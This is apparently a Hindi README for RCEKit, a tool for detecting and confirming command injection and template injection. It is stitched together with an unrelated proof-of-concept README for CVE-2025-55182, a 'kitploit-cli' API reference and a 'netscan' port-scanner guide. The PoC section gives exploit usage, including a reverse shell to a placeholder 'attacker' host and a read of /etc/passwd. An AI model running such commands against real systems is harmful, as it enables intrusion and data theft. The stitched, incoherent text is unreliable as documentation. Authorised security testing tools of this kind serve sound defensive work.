RCE डिटेक्शन और कन्फर्मेशन टूलकिट जो URLs या कैप्चर किए गए HTTP अनुरोधों को कमांड इंजेक्शन, SSTI, ब्लाइंड और OOB पाथ्स के लिए टेस्ट करता है, और प्रमाण के साथ टियर-आधारित निर्णय लौटाता है।
confirmed का अर्थ है कि लक्ष्य ने इनपुट को निष्पादित किया। negative का अर्थ है कि प्रोब उस तक पहुँच गए।
संस्करण 2.40.0 · MIT · Python 3.8+ · शून्य तृतीय-पक्ष निर्भरताएँ
RCEKit एक RCE डिटेक्शन और पुष्टि टूलकिट है जो अधिकृत पेनेट्रेशन टेस्टिंग, रेड टीमिंग और सुरक्षा अनुसंधान के लिए है। इसे उस लक्ष्य पर इंगित करें जिसे परीक्षण करने की आपको अनुमति है — एक URL या एक कैप्चर किया गया HTTP अनुरोध — और प्रत्येक निष्कर्ष उस स्तर के साथ वापस आता है जो उसने अर्जित किया है।
प्रत्येक confirmed उस मान पर टिका है जो RCEKit ने उस प्रोब के लिए यादृच्छिक रूप से उत्पन्न किया और जिसे वह प्रतिबिंब उत्पन्न नहीं कर सकता: प्रतिक्रिया में उपस्थित और पेलोड-रहित नियंत्रण में अनुपस्थित एक परिकलित परिणाम, या एक आउट-ऑफ-बैंड कॉलबैक जो एक टोकन ले जाता है जो केवल लक्ष्य के पास ही था। कमज़ोर संकेत अपने स्वयं के स्तर बनाए रखते हैं और कभी भी उसमें पदोन्नत नहीं किए जाते। और जो रन किसी चीज़ का परीक्षण नहीं कर सका, वह उसे कभी स्वच्छ नहीं बताता।
RCEKit एक ही CLI के अंतर्गत कई विधियों के माध्यम से RCE की पुष्टि करता है। नीचे इसे उत्पादन सॉफ़्टवेयर में वास्तविक, सार्वजनिक रूप से प्रलेखित CVE पर इंगित किया गया है — प्रत्येक निर्णय पेलोड-रहित नियंत्रण के विरुद्ध अंतरित:
| RCE वर्ग | --methods | वास्तविक-विश्व लक्ष्य | निर्णय |
|---|
| OS कमांड इंजेक्शन (परिणाम-आधारित) | reflected | Webmin 1.910 — CVE-2019-15107 | confirmed |
| एक्सप्रेशन इंजेक्शन (OGNL) | eval | Apache Struts2 — S2-001 | confirmed |
| एक्सप्रेशन-लुकअप (Log4Shell/JNDI) | lookup | Apache Solr 8.11.0 (Log4j 2.14.1) — CVE-2021-44228 | lookup-sink |
| ब्लाइंड कमांड इंजेक्शन (कोई आउटपुट नहीं) | time | Webmin 1.910 — CVE-2019-15107 | needs-review |
प्रत्येक पंक्ति tests/bench/ द्वारा पुनरुत्पादित की जाती है, जो Docker के अंतर्गत इन बिल्डों के विरुद्ध RCEKit चलाता है और निर्णय और उसके नकारात्मक नियंत्रण की जाँच करता है। अंतिम रन 2.36.0 (2026-09-20) पर हरा: 3/3 मामले। यह एक समय-बिंदु दावा है, निरंतर नहीं -- बेंचमार्क एक नियमित अंतराल पर चलाया जाता है, प्रत्येक परिवर्तन पर नहीं।
प्रत्येक नियंत्रण उस पंक्ति का वास्तविक परीक्षण है। reflected के साथ प्रोब किया गया Struts2 negative वापस आता है, क्योंकि S2-001 OGNL का पुनर्मूल्यांकन करता है और उसके पीछे कोई शेल नहीं है। Webmin का time संकेत उस लक्ष्य पर needs-review पर बनाए रखा जाता है जहाँ यह संयोगवश सही होता है। और oob के साथ प्रोब किया गया Solr negative वापस आता है हालाँकि यह शोषणीय है -- oob शेल कमांड बनाता है और एक ${jndi:...} सिंक उनमें से कोई भी नहीं चलाता, यही वह अंतराल है जिसे भरने के लिए lookup मौजूद है, दावा करने के बजाय मापा गया।
Log4Shell पंक्ति lookup-sink कहती है, confirmed नहीं: कॉलबैक जो साबित करता है वह यह है कि सिंक ने RCEKit द्वारा चुने गए URI को हल किया। RCE तक पहुँचने के लिए एक ऐसे सर्वर की आवश्यकता होती है जो लुकअप का उत्तर एक लोड करने योग्य क्लास के साथ दे, और डिफ़ॉल्ट जोखिम स्तर पर केवल jndi:dns:// बाहर जाता है -- एक नाम लुकअप, जिसके आगे ऐसे सर्वर के उत्तर देने के लिए कोई कनेक्शन नहीं है।
reflected — OS कमांड इंजेक्शन, Webmin CVE-2019-15107 → confirmed
eval — OGNL एक्सप्रेशन इंजेक्शन, Apache Struts2 S2-001 → confirmed
lookup-sink
time — ब्लाइंड कमांड इंजेक्शन, Webmin CVE-2019-15107 → needs-review
RCEKit के दो समर्थित रूप हैं, और इनमें से कोई भी दूसरे के लिए फ़ॉलबैक नहीं है।
इसे इंस्टॉल करें — pipx CLI को उसके स्वयं के वातावरण में रखता है, जो एक टूल के लिए आप चाहते हैं, लाइब्रेरी के लिए नहीं:```bash
pipx install rcekit # or: pip install rcekit
rcekit --doctor # confirms the corpus it will run with
**या फिर सिर्फ एक फ़ाइल ले लें।** पेलोड कॉर्पस मॉड्यूल में ही बना हुआ है, इसलिए
`rcekit.py` अपने आप चलता है, इसके साथ कुछ और ज़रूरी नहीं — कोई इंस्टॉल स्टेप नहीं, कोई
site-packages नहीं, पीछे छोड़ने के लिए कुछ नहीं। किसी क्लाइंट जंप बॉक्स पर, किसी एयर-गैप्ड
होस्ट पर, या कहीं भी जहाँ `pip install` कोई विकल्प न हो:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor # same corpus, same check, zero installation
दोनों एक ही कोड चलाते हैं और एक ही निर्णय रिपोर्ट करते हैं। चेकआउट से काम करना तीसरा तरीका है, और इसके लिए भी किसी इंस्टॉल की आवश्यकता नहीं है:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only
जहाँ आपका इनपुट पहुँचता है वहाँ एक `FUZZ` मार्कर रखें (या कैप्चर किए गए रिक्वेस्ट का उपयोग करते समय `-p` के साथ एक पैरामीटर चुनें), और RCEKit से RCE साबित करने के लिए कहें:```bash
rcekit --acknowledge-consent \
--verify-url "https://target.example/lookup?host=FUZZ" \
--methods reflected,eval
यह रिपॉजिटरी CVE-2025-55182 के लिए एक प्रमाण-अवधारणा (Proof-of-Concept, PoC) प्रदान करती है, जो React Server Components (RSC) में एक गंभीर अपुष्ट डेसीरियलाइज़ेशन भेद्यता है, जिसे React2Shell के नाम से भी जाना जाता है।
यह भेद्यता React 19.0.0, 19.1.0, 19.1.1, और 19.2.0 के साथ-साथ Next.js 15.x और 16.x को प्रभावित करती है, और हमलावरों को प्रभावित सर्वरों पर दूरस्थ कोड निष्पादन (Remote Code Execution, RCE) प्राप्त करने की अनुमति देती है।
React Server Components (RSC) क्लाइंट और सर्वर के बीच डेटा के आदान-प्रदान के लिए एक विशेष सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह प्रारूप जटिल डेटा संरचनाओं, संदर्भों, और क्लाइंट-सर्वर सीमा पार करने वाले फ़ंक्शन कॉल का समर्थन करता है।
भेद्यता तब उत्पन्न होती है जब RSC सीरियलाइज़ेशन प्रारूप में डेटा को डेसीरियलाइज़ करते समय इनपुट का अपर्याप्त सत्यापन किया जाता है। एक हमलावर विशेष रूप से तैयार किए गए पेलोड का निर्माण कर सकता है जो डेसीरियलाइज़ेशन प्रक्रिया के दौरान मनमाने ऑब्जेक्ट इंस्टेंशिएशन और विधि आह्वान को ट्रिगर करता है।
पेलोड निर्माण: हमलावर एक विशेष रूप से तैयार किया गया RSC सीरियलाइज़्ड पेलोड बनाता है जिसमें दुर्भावनापूर्ण ऑब्जेक्ट संदर्भ और विधि कॉल शामिल होते हैं।
इंजेक्शन: पेलोड को एक HTTP अनुरोध के माध्यम से भेजा जाता है, जिसे RSC एंडपॉइंट द्वारा संसाधित किया जाता है।
डेसीरियलाइज़ेशन: सर्वर पेलोड को डेसीरियलाइज़ करता है, जिससे दुर्भावनापूर्ण ऑब्जेक्ट का निर्माण होता है और संबंधित विधियाँ निष्पादित होती हैं।
कोड निष्पादन: हमलावर सर्वर पर मनमाना कोड निष्पादित करने में सफल होता है, जिससे पूर्ण सिस्टम समझौता हो सकता है।
requests लाइब्रेरीgit clone https://github.com/example/CVE-2025-55182-PoC.git
cd CVE-2025-55182-PoC
pip install -r requirements.txt
python3 exploit.py --target http://target-server:3000 --command "id"
| विकल्प | विवरण |
|---|---|
--target | लक्ष्य सर्वर का URL |
--command | निष्पादित करने के लिए कमांड |
--endpoint | RSC एंडपॉइंट पथ (डिफ़ॉल्ट: /) |
--proxy | उपयोग करने के लिए HTTP प्रॉक्सी |
--verbose | विस्तृत आउटपुट सक्षम करें |
# बुनियादी कमांड निष्पादन
python3 exploit.py --target http://vulnerable-app:3000 --command "whoami"
# रिवर्स शेल
python3 exploit.py --target http://vulnerable-app:3000 --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
# फ़ाइल पढ़ें
python3 exploit.py --target http://vulnerable-app:3000 --command "cat /etc/passwd"
यह PoC केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों पर करें जिनके लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत पहुँच या हमला अवैध है और इसके परिणामस्वरूप गंभीर कानूनी परिणाम हो सकते हैं। लेखक किसी भी दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेते हैं।
[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)
### कैप्चर किए गए अनुरोध से — वह आकार जो अधिकांश वास्तविक लक्ष्यों में होता है
एक `--verify-url` में केवल एक URL होता है और कुछ नहीं। परीक्षण के योग्य अधिकांश सिंक एक POST के पीछे होते हैं जिसमें एक सत्र कुकी, एक सामग्री प्रकार और एक बॉडी होती है, और RCEKit उस अनुरोध को पूरा लेता है: इसे अपने प्रॉक्सी या अपने ब्राउज़र के devtools से सहेजें और उस फ़ील्ड का नाम बताएं जिसमें इंजेक्ट करना है।```bash
rcekit --acknowledge-consent \
-r search.req -p q \
--methods reflected,eval
| -s | --server | Server URL (default: http://localhost:8080) |
| -t | --token | API token for authentication |
| -o | --output | Output file path |
| -f | --format | Output format: json, csv, table |
| -v | --verbose | Enable verbose output |
| -q | --quiet | Suppress non-essential output |
| --no-color | | Disable colored output |
| --timeout | | Request timeout in seconds (default: 30) |
# List all scans
kitploit-cli scans list
# Get scan details
kitploit-cli scans get --id 12345
# Export results to JSON
kitploit-cli scans export --id 12345 --format json --output results.json
# Run a new scan
kitploit-cli scans run --target example.com --profile full
# Check server status
kitploit-cli server status --server http://localhost:8080
CLI निम्नलिखित स्थानों पर कॉन्फ़िगरेशन फ़ाइल की तलाश करता है:
./.kitploit.yaml~/.config/kitploit/config.yaml/etc/kitploit/config.yamlकॉन्फ़िगरेशन फ़ाइल का उदाहरण:
server: http://localhost:8080
token: your-api-token-here
output_format: table
timeout: 30
verbose: false
| चर | विवरण |
|---|---|
KITPLOIT_SERVER | सर्वर URL |
KITPLOIT_TOKEN | API टोकन |
KITPLOIT_FORMAT | डिफ़ॉल्ट आउटपुट प्रारूप |
KITPLOIT_TIMEOUT | अनुरोध टाइमआउट (सेकंड में) |
NO_COLOR | रंगीन आउटपुट अक्षम करें |
सभी API अनुरोधों के लिए Authorization हेडर में API टोकन की आवश्यकता होती है:
Authorization: Bearer <your-api-token>
GET /api/v1/scansसभी स्कैन की सूची प्राप्त करें।
क्वेरी पैरामीटर:
| पैरामीटर | प्रकार | विवरण |
|---|---|---|
page | integer | पृष्ठ संख्या (डिफ़ॉल्ट: 1) |
limit | integer | प्रति पृष्ठ आइटम (डिफ़ॉल्ट: 20, अधिकतम: 100) |
status | string | स्थिति के अनुसार फ़िल्टर करें: pending, running, completed, failed |
target | string | लक्ष्य के अनुसार फ़िल्टर करें |
प्रतिक्रिया:
{
"data": [
{
"id": 12345,
"target": "example.com",
"status": "completed",
"created_at": "2024-01-15T10:30:00Z",
"completed_at": "2024-01-15T10:35:00Z"
}
],
"pagination": {
"page": 1,
"limit": 20,
"total": 1
}
}
POST /api/v1/scansएक नया स्कैन शुरू करें।
अनुरोध निकाय:
{
"target": "example.com",
"profile": "full",
"options": {
"timeout": 300,
"threads": 10
}
}
प्रतिक्रिया:
{
"id": 12346,
"target": "example.com",
"status": "pending",
"created_at": "2024-01-15T11:00:00Z"
}
[detect] sent 4 probes: confirmed=3, negative=1
[detect] CONFIRMED execution (3): [reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK (target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)
विधि, पथ, हेडर, बॉडी और कुकीज़ को जैसे कैप्चर किया गया था वैसे ही पुनः उपयोग किया जाता है, और प्रत्येक मान को उस संदर्भ के लिए एन्कोड किया जाता है जिसमें वह पहुँचता है — एक JSON लीफ, एक फ़ॉर्म फ़ील्ड और एक कुकी को एक ही तरीके से एस्केप नहीं किया जाता। यदि आप चाहें तो `-p` हटा दें और उस स्थान को `FUZZ` या `*` से चिह्नित करें।
### टूल के पास जो कुछ भी है
दो चीज़ें केवल कैप्चर किए गए अनुरोध से ही पहुँच योग्य हैं: **इंजेक्शन-पॉइंट एन्यूमरेशन** (`--auto-params`), और कोई भी सिंक जिसे सेशन की आवश्यकता होती है। इसलिए RCEKit जो सबसे पूर्ण रन बना सकता है वह URL से नहीं, बल्कि `-r` से शुरू होता है — जो किसी लक्ष्य को क्लीन घोषित करने से पहले जानने योग्य है।```bash
rcekit --acknowledge-consent \
-r search.req --auto-params all --point-order thorough \
--methods reflected,eval,time,lookup,deser \
--oob-host oob.yourdomain.example --listen-dns-port 53 \
--verify-active-risk stateful --probe-depth full \
--detect-json findings.json
git clone https://github.com/example/netscan.git
cd netscan
mkdir build && cd build
cmake ..
make -j$(nproc)
sudo make install
# Debian/Ubuntu
sudo apt-get install netscan
# RHEL/CentOS
sudo yum install netscan
# macOS
brew install netscan
# सिंगल टारगेट स्कैन
netscan 192.168.1.1
# सबनेट स्कैन
netscan 192.168.1.0/24
# पोर्ट रेंज स्कैन
netscan -p 1-1000 192.168.1.1
# टॉप पोर्ट्स स्कैन
netscan --top-ports 100 192.168.1.1
# SYN स्टील्थ स्कैन
sudo netscan -sS 192.168.1.1
# सेवा संस्करण का पता लगाना
netscan -sV 192.168.1.1
# OS का पता लगाना
sudo netscan -O 192.168.1.1
# एग्रेसिव स्कैन
sudo netscan -A 192.168.1.1
# UDP स्कैन
sudo netscan -sU 192.168.1.1
# सामान्य आउटपुट
netscan -oN output.txt 192.168.1.1
# XML आउटपुट
netscan -oX output.xml 192.168.1.1
# JSON आउटपुट
netscan -oJ output.json 192.168.1.1
# सभी फॉर्मेट
netscan -oA scan_results 192.168.1.1
~/.netscan/config.yaml पर एक कॉन्फ़िगरेशन फ़ाइल बनाएँ:
default:
timing: 4
threads: 100
timeout: 3000
retries: 2
scan:
syn: true
udp: false
service_detection: true
os_detection: false
output:
format: normal
verbose: false
export NETSCAN_HOME=/opt/netscan
export NETSCAN_CONFIG=/etc/netscan/config.yaml
export NETSCAN_TIMEOUT=5000
-- custom_scan.lua
local netscan = require("netscan")
function scan_host(host)
local result = netscan.scan({
target = host,
ports = "1-1000",
scan_type = "syn"
})
for _, port in ipairs(result.open_ports) do
print(string.format("Port %d: %s", port.number, port.service))
end
end
scan_host("192.168.1.1")
# हाई-स्पीड स्कैन
netscan -T4 --min-rate 1000 192.168.1.0/24
# कम बैंडविड्थ स्कैन
netscan -T2 --max-rate 100 192.168.1.0/24
# पैरेलल होस्ट स्कैनिंग
netscan --min-hostgroup 256 --max-hostgroup 1024 192.168.1.0/16
योगदान का स्वागत है! कृपया पुल रिक्वेस्ट सबमिट करने से पहले योगदान दिशानिर्देश पढ़ें।
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। बिना उचित प्राधिकरण के नेटवर्क स्कैन करना अवैध हो सकता है। हमेशा सुनिश्चित करें कि आपके पास लक्ष्य सिस्टम को स्कैन करने की अनुमति है।
हर फ़्लैग क्या खोलता है:
| | |
|---|---|
| `--auto-params all` | हर query value, JSON leaf, form field, multipart part, cookie और header, किसी एक नामित फ़ील्ड के बजाय |
| `--point-order thorough` | हर non-hop-by-hop header, सिर्फ़ high-yield वाले ही नहीं |
| `--methods ...,lookup,deser` | expression-lookup और deserialization sinks, जहाँ तक shell-shaped methods पहुँच नहीं सकतीं |
| `--oob-host` | blind methods के लिए एक callback host। इसके लिए आपको सौंपा गया domain चाहिए; port 53 के लिए root चाहिए |
| `--verify-active-risk stateful` | सबसे ऊँचा स्तर — वे probe shapes जोड़ता है जो target को ऐसे address से fetch करवाते हैं जो RCEKit ने नहीं चुना |
| `--probe-depth full` | प्रति sink हर break-out shape, सिर्फ़ सस्ते वाले ही नहीं |
| `--detect-json` | वही verdicts machine-readable JSON के रूप में |
**यह बहुत सारी requests हैं।** कुछ भी fire होने से पहले cost line print होती है, और
`--max-points` / `--max-payloads` इसे सीमित करते हैं। इसे ऐसे instance के खिलाफ़ चलाएँ जिसे तोड़ने की आपको अनुमति है: `--verify-active-risk stateful` एक disposable target का स्तर है, production का नहीं।
कोई external infrastructure नहीं, कोई config file नहीं।
**GIFs पर भरोसा न करें** — [इन्हें खुद reproduce करें](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md)
dockerised Webmin और Struts2 targets के खिलाफ़ लगभग पाँच मिनट में।
**आगे:** [**field guide**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) असली स्थितियों पर चलती है — captured
requests, WAFs, filtered separators, quoted sinks, blind और no-egress targets —
हर एक के लिए एक worked example।
---
## एक verdict का मतलब क्या होता है
एक RCE *candidate* ढूँढना आसान है। ऐसा रिपोर्ट करना जो किसी और के retest में टिक जाए, वही मुश्किल हिस्सा है, और यह दो दिशाओं में विफल होता है: एक "possibly vulnerable" जो असल में reflection निकलता है, और एक "not vulnerable" ऐसी run से जिसने असल में कुछ भी test ही नहीं किया।
RCEKit **आठ verdicts** के साथ जवाब देता है जिन्हें कभी एक-दूसरे में मिलाया नहीं जाता:
| Verdict | यह क्या दावा करता है |
|---|---|
| **`confirmed`** | Target ने input execute किया। उसने ऐसा मान लौटाया जो वह अन्यथा produce नहीं कर सकता था — उस probe के लिए random operands से computed — और वह मान payload-free control में मौजूद नहीं है। |
| **`deserialization-sink`** | Target ने attacker-supplied object graph reconstruct किया। सिद्ध, लेकिन एक *अलग property* के बारे में: वहाँ से RCE तक पहुँचना classpath gadgets पर निर्भर करता है, इसलिए इसे कभी RCE नहीं कहा जाता। |
| **`lookup-sink`** | Target ने एक URI resolve किया जो RCEKit ने उसे दिया — एक `${jndi:…}` expression एक lookup तक पहुँचा, जो एक callback पर सिद्ध हुआ जिसमें ऐसा token था जो सिर्फ़ उसी probe के पास था। यह एक sink है, execution नहीं: वहाँ से RCE तक पहुँचने के लिए एक ऐसा server चाहिए जो loadable class के साथ जवाब दे। |
| **`needs-review`** | एक असली signal जो अपने आप में proof नहीं है — एक linear timing regression, एक parser fingerprint। आपके समय के लायक, लेकिन "confirmed" शब्द के कभी लायक नहीं। |
| **`inconclusive`** | सबूत दिखा, लेकिन execution के लिए attributed नहीं हो सका — payload-free control में भी वही था। |
| **`negative`** | Probes बने, target तक पहुँचे, और कुछ नहीं मिला। |
| **`error`** | कुछ भी target तक नहीं पहुँचा। |
| **`nothing-tested`** | कोई probes बने ही नहीं। |
जिस क्षण `confirmed` और `maybe` धुँधले होते हैं, `confirmed` का कोई मतलब नहीं बचता — इसलिए कुछ भी कभी ऊपर promote नहीं किया जाता। एक timing regression `needs-review` ही रहता है चाहे slope कितना भी साफ़ हो। एक deserialization callback `deserialization-sink` ही रहता है चाहे आप कितने भी निश्चित हों कि classpath exploitable है।
### दूसरा आधा हिस्सा: ऐसी run जिसने कुछ test नहीं किया, वह कभी clean नहीं होती
आख़िरी दो पंक्तियाँ वे हैं जो दूसरे tools के पास नहीं होतीं, और वे दिखने से ज़्यादा मायने रखती हैं। एक scanner जो target तक पहुँच नहीं सका, या जिसने कोई probes नहीं बनाए क्योंकि आपके flags ने उन सबको बाहर कर दिया, उसने target के बारे में **कुछ नहीं** सीखा — और वहाँ `negative` print करना एक झूठ है जो बिल्कुल safety जैसा पढ़ा जाता है।
इसलिए `error` और `nothing-tested` first-class verdicts हैं, run non-zero पर exit करती है, और RCEKit बताता है कि इनमें से कौन-सा हुआ और क्यों:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.
यह हर उस जगह आग लगाता है जहाँ कोई रन चुपचाप खाली हो सकता है: कोई ऐसी मेथड जो चुने गए एनवायरनमेंट्स पर लागू नहीं होती, कोई --sink-shape रंग जिसके लिए चुने गए शेल में कोई सिंटैक्स नहीं है, कोई --bridges चयन जिसे पूरी तरह सेफ्टी सीलिंग ने रोक दिया है, कोई रिक्वेस्ट बॉडी जो पहुँचने से पहले ही डिलीवरी तोड़ चुकी है।
जो रन केवल आंशिक रूप से ब्लाइंड हुआ था, उसे एक स्तर नीचे वही व्यवहार मिलता है। अगर आपने सेकंड-ऑर्डर ओरेकल माँगा था और ऑब्ज़र्व किया गया एंडपॉइंट कभी जवाब नहीं दिया, तो प्रोब वर्डिक्ट्स तब भी बरकरार रहते हैं — लेकिन रन आपको बताता है कि उन्हें उस चैनल को कभी पढ़े बिना तय किया गया था जिसकी ओर आपने इशारा किया था, बजाय इसके कि उन्हें सेकंड-ऑर्डर नेगेटिव मान लिया जाए।
एक CLI, एक --methods फ्लैग, जो RCE तक के मुख्य रास्तों को कवर करता है:
| RCE वर्ग | --methods | RCEKit इसे कैसे साबित करता है |
|---|---|---|
| OS कमांड इंजेक्शन | reflected | रैंडम ऑपरेंड्स पर शेल से $((a+b)) की गणना कराता है और $(echo TAG) को कोलैप्स कराता है; परिणाम की पुष्टि करता है, कभी भी लिटरल एक्सप्रेशन की नहीं। सिंक की अपनी बोली में लिखा गया — POSIX, cmd.exe या PowerShell। |
कोड / एक्सप्रेशन इंजेक्शन — SSTI, SpEL, OGNL, Groovy, eval() (CWE-94) | eval | हर सामान्य टेम्पलेट सिंटैक्स (${…} {{…}} #{…} %{…} <%=…%> @(…), बेयर) में a*b इंजेक्ट करता है; पुष्टि करता है कि प्रोडक्ट दिखाई देता है जबकि लिटरल a*b नहीं दिखता। |
| ब्लाइंड कमांड इंजेक्शन (कोई आउटपुट नहीं) | time | एक नियंत्रित 0/N/2N डिले सीरीज़ फायर करता है और पुष्टि करता है कि रिस्पॉन्स टाइम डिले को रैखिक रूप से ट्रैक करता है; needs-review रिपोर्ट करता है — जिटर इसे फ़ेक नहीं कर सकता, लेकिन टाइमिंग कोई कंप्यूटेड वैल्यू नहीं है। |
| इंटरनल / नो-एग्रेस टारगेट | file | एक रैंडम टोकन लिखता है और उसे किसी भी रीड-बैक पाथ से वापस फ़ेच करता है — कोई वेब रूट, कोई LFI पैरामीटर, कोई डाउनलोड या एक्सपोर्ट हैंडलर, कोई /tmp-बैक्ड प्रीव्यू। बिना किसी एक्सटर्नल लिसनर के एक्ज़ीक्यूशन प्लस एक राइट प्रिमिटिव साबित करता है। |
| अपलोड / राइट प्रिमिटिव — PUT-a-JSP, अनचेक्ड अपलोड (CWE-434) | write | एक वन-लाइनर लिखता है जो आपकी अपनी अपलोड रिक्वेस्ट के ज़रिए एक प्रोडक्ट कंप्यूट करता है, फिर फ़ाइल फ़ेच करता है: प्रोडक्ट confirmed RCE है, वर्बेटिम वापस आने वाला सोर्स needs-review है — आर्बिट्ररी फ़ाइल राइट, सर्व की गई लेकिन इंटरप्रेट नहीं की गई। |
| डीसेरियलाइज़ेशन सिंक — fastjson, shiro, weblogic (CWE-502) | deser | साबित करता है कि एंडपॉइंट अटैकर डेटा को डीसेरियलाइज़ करता है, किसी नॉन-एक्ज़ीक्यूटिंग DNS गैजेट या किसी एरर-शेप डिफरेंशियल के ज़रिए। deserialization-sink के रूप में रिपोर्ट किया जाता है, RCE के रूप में नहीं। |
तीन चीज़ें उस दायरे को चौड़ा करती हैं जहाँ तक ये मेथड्स पहुँच सकती हैं, बिना यह बदले कि उनमें से कोई किसे confirmed कहेगा:
--observe-url) — जब पेलोड एक रिक्वेस्ट पर पहुँचता है और दूसरी पर चलता है: किसी प्रोफ़ाइल पेज पर रेंडर होने वाला स्टोर्ड SSTI, किसी लॉग में लिखा गया पेलोड जिसे कोई टेम्पलेट इंजन बाद में रेंडर करता है, कोई क्यूड जॉब। ऑब्ज़र्व किए गए एंडपॉइंट का डिफरेंस किसी भी प्रोब भेजे जाने से पहले लिए गए स्नैपशॉट के विरुद्ध किया जाता है।--bridges) — COPY … FROM PROGRAM, xp_cmdshell, expect://। ब्रिज एक कैरियर है, ओरेकल नहीं: यह उस कमांड को रैप करता है जिसे मेथड्स पहले से बनाती हैं, इसलिए उसके ज़रिए वही टियर लागू होते हैं।-p all) — क्वेरी, JSON लीव्स, फ़ॉर्म फ़ील्ड्स, मल्टीपार्ट पार्ट्स, कुकीज़, हेडर्स और पाथ सेगमेंट्स, हर एक उस जगह के लिए एनकोड किया गया जहाँ वह पहुँचता है, और कुछ भी फायर होने से पहले प्रोब कॉस्ट प्रिंट की जाती है। एक GraphQL बॉडी को उसी क्रम में रखा जाता है जो वास्तव में पुष्ट कर सकता है: वे variables जिन्हें रिज़ॉल्वर ऑपरेशन डॉक्यूमेंट से पहले पढ़ता है।मेथड्स को स्वतंत्र रूप से मिलाएँ: --methods reflected,eval,time तीनों चलाता है और हर टियर को अलग-अलग रिपोर्ट करता है।
ईमानदार दायरा। RCEKit उस RCE की पुष्टि करता है जो किसी रिक्वेस्ट में इंजेक्ट करके पहुँच योग्य है और किसी शेल या इवैल्यूएटर द्वारा इंटरप्रेट की जाती है। यह मेमोरी-करप्शन बग्स (बफ़र ओवरफ़्लो, UAF) या नो-शेल
argvऐरे में आर्ग्युमेंट इंजेक्शन को कवर नहीं करता — वे अलग समस्याएँ हैं। डीसेरियलाइज़ेशन गैजेट चेन भी दायरे से बाहर हैं:--methods deserसाबित करता है कि कोई एंडपॉइंट अटैकर डेटा को डीसेरियलाइज़ करता है और इसे अपने खुद के टियर में बताता है, लेकिन कौन सा गैजेट (अगर कोई है) उसे एक्ज़ीक्यूशन में बदलता है यह टारगेट के क्लासपाथ पर निर्भर करता है, और RCEKit जानने का दावा नहीं करता। इसका लक्ष्य हर चीज़ में औसत होने के बजाय ऊपर दिए गए इंजेक्शन-चालित RCE वर्गों में उत्कृष्ट होना है।
इस क्षेत्र के अन्य टूल्स आपको अंदर पहुँचाने के लिए बने हैं। RCEKit इसलिए बना है ताकि फ़ाइंडिंग किसी और की जाँच में टिक जाए — क्लाइंट का रीटेस्ट, ट्रायाज क्यू, रिपोर्ट रिव्यू। यह अंतर तीन बार दिखता है।
टेस्ट करने से पहले आप शायद ही कभी वर्ग जानते हैं। किसी अज्ञात सिंक को सिंगल-क्लास टूल्स से कवर करने का मतलब है हर एक को बारी-बारी चलाना और हर एक के लिए रिक्वेस्ट दोबारा बनाना:
| पुष्ट कर सकता है | RCEKit | commix | SSTImap | Nuclei |
|---|---|---|---|---|
| OS कमांड इंजेक्शन | ✅ | ✅ (इसका पूरा दायरा) | — | प्रति टेम्पलेट |
| एक्सप्रेशन इंजेक्शन / SSTI | ✅ | इसकी eval-आधारित तकनीक के ज़रिए | ✅ (इसका पूरा दायरा) | प्रति टेम्पलेट |
| ब्लाइंड — टाइमिंग | ✅ एक अलग टियर के रूप में | ✅ | ✅ | — |
| ब्लाइंड — आउट-ऑफ-बैंड | ✅ बिल्ट-इन लिसनर | — | — | interactsh के ज़रिए |
| नो-एग्रेस — लिखें और वापस फ़ेच करें | ✅ कोई भी रीड-बैक पाथ | ✅ (वेब रूट) | — | — |
cmd.exe और PowerShell सिंक | ✅ प्रति-बोली प्रोब | ✅ (cmd) | — | प्रति टेम्पलेट |
| अपलोड → राइट-देन-एक्ज़ीक्यूट | ✅ राइट बनाम एक्ज़ीक्यूट, अलग टियर | — | — | प्रति टेम्पलेट |
| सेकंड-ऑर्डर — यहाँ पहुँचता है, वहाँ चलता है | ✅ | — | — | — |
| OS तक क्वेरी-लैंग्वेज ब्रिज | ✅ | — | — | प्रति टेम्पलेट |
| डीसेरियलाइज़ेशन सिंक | ✅ अपना टियर, कभी RCE नहीं कहा जाता | — | — | प्रति टेम्पलेट |
| ऊपर का सब कुछ, एक CLI, एक रन | ✅ | — | — | — |
कवरेज प्रत्येक प्रोजेक्ट की अपनी प्रलेखित तकनीक सूची के अनुसार। SSTImap, tplmap का मेंटेन किया गया उत्तराधिकारी है, जिसे इसके लेखक ने अनमेंटेन्ड चिह्नित किया है।```bash
python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time
### 2. यह अपने ही परिणामों से बहस करता है
एक टूल जो पाया उसे रिपोर्ट करता है। RCEKit यह भी रिपोर्ट करता है कि **उसने किस पर विश्वास करने से इनकार किया** —
`inconclusive` अपने आप में एक निर्णय है, उन साक्ष्यों के लिए जो सामने आए लेकिन निष्पादन के लिए जिम्मेदार नहीं ठहराए जा सके:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11
वे दोनों किसी और की खोज होते। पाँच तंत्र उस निर्णय को उत्पन्न करते हैं, और वे हर पुष्टि पर चलते हैं:
